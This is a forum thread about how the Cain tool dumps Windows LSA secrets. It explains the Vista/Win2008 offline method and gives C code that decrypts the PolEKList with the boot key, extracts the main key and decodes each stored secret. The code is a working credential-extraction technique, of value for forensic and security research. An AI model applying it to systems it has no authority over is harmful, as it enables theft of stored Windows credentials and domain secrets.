Quote:
Cain works fine, but it seems to me that it's using the LSASS method of querying this data, rather than the registry-only method discussed in the above link. This is fine, obviously, but I'd love to know more about what changed if anyone knows. :)
- When you dump LSA secrets from the local system Cain uses DLL injection method.
- When you dump LSA secrets importing them from external Registry Hive Files it does not use DLL injection.
Quote:
This works like a charm, but begins to fall apart on Windows 2008. It turns out that, at least on a default installation of Win2K8, the PolSecretEncryptionKey value does not exist. This makes it impossible to decrypt the NL$KM value without resorting to something like scanning LSASS memory to find it.
I never tested Cain on a Win2K8 but maybe it works like in Vista....
In Vista PolSecretEncryptionKey is not present so you need to ...
1) get the entire PolEKList buffer from RootKey\\Policy\\PolEKList hive key.
2) decrypt the entire PolEKList buffer using the startup key of 16 bytes (bootkey).
this can be achieved with the following function that uses SHA_256 and AES cipher (these function are found in OpenSSL):
void Decrypt_LSA_Buffer(unsigned char *buffer, int len, unsigned char *key, int keylen, unsigned char *output, int* outlen)
{
int dec_len = 0;
unsigned char* temp = (unsigned char*) calloc (len, sizeof(unsigned char));
unsigned char zero16[16];
memset (zero16,0,sizeof(zero16));
SHA256_CTX ctx256;
unsigned char final [32];
SHA256_Init (&ctx256);
SHA256_Update (&ctx256,key, keylen);
for (int i=0; i<1000; i++)
{
SHA256_Update (&ctx256, buffer+28 ,32);
}
SHA256_Final (final, &ctx256);
AES_KEY aes_key;
AES_set_decrypt_key(final, 256, &aes_key);
unsigned char* offset = &buffer[28+32];
for (dec_len=0; dec_len < (len-60); dec_len+=16)
{
if (memcmp(offset+dec_len,zero16,16) == 0) break;
AES_decrypt (offset+dec_len, temp+dec_len, &aes_key);
}
memcpy (output, temp, dec_len);
*outlen = dec_len;
free (temp);
}
The above function is used as follows:
...
...
int decoded_len = 0;
unsigned char decoded[256];
memset (decoded,0,sizeof(decoded));
Decrypt_LSA_Buffer(poleklist, listsize, (unsigned char*) startkey, 16, decoded, &decoded_len);
...
...
3) Now you can get the main_key from the decoded buffer
unsigned char main_key[32];
memcpy (main_key, decoded+0x44, 32);
4) Finally you can enumerate LSA Secrets and use the new calculated main_key of 32 bytes to decode them.
So this time you can call
memset (decoded,0,sizeof (decoded));
Decrypt_LSA_Buffer(buffer, blen, main_key, 32, decoded, &decoded_len);
for each LSA secret buffer to decode.